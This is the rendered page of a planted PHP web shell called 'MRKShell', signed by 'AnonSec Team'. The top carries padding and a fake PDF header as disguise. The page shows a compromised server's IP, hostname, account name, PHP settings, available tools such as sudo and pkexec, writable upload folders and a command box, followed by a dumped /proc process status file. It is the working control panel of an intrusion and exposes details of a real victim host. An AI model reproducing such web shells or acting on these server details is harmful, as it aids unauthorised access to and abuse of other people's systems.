...........................................................................................................................................................................................................................................................................................................................@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%PDF-1.5 MRK IS HERE %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY MR K IS HERE
MRKShell
Server IP : 65.108.66.160  /  Your IP : 216.73.217.50
Web Server : Apache
System : Linux srv16.asso.com.ar 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64
User : alasaweborg ( 1047)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/4080567/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/4080567/status
Name:	nscd
Umask:	0022
State:	S (sleeping)
Tgid:	4080567
Ngid:	0
Pid:	4080567
PPid:	1
TracerPid:	0
Uid:	28	28	28	28
Gid:	28	28	28	28
FDSize:	64
Groups:	28 
NStgid:	4080567
NSpid:	4080567
NSpgid:	4080567
NSsid:	4080567
VmPeak:	 1699156 kB
VmSize:	 1633620 kB
VmLck:	       0 kB
VmPin:	       0 kB
VmHWM:	    6656 kB
VmRSS:	    6656 kB
RssAnon:	    2752 kB
RssFile:	    3904 kB
RssShmem:	       0 kB
VmData:	   40420 kB
VmStk:	     132 kB
VmExe:	     144 kB
VmLib:	    4612 kB
VmPTE:	     292 kB
VmSwap:	       0 kB
HugetlbPages:	       0 kB
CoreDumping:	0
THP_enabled:	1
Threads:	19
SigQ:	0/254825
SigPnd:	0000000000000000
ShdPnd:	0000000000000000
SigBlk:	0000000000000000
SigIgn:	0000000000381000
SigCgt:	0000000180004006
CapInh:	0000000000000000
CapPrm:	0000000020000000
CapEff:	0000000020000000
CapBnd:	000001ffffffffff
CapAmb:	0000000000000000
NoNewPrivs:	0
Seccomp:	0
Speculation_Store_Bypass:	thread vulnerable
Cpus_allowed:	ffffffff
Cpus_allowed_list:	0-31
Mems_allowed:	00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001
Mems_allowed_list:	0
voluntary_ctxt_switches:	222228
nonvoluntary_ctxt_switches:	198

Anon7 - 2022
AnonSec Team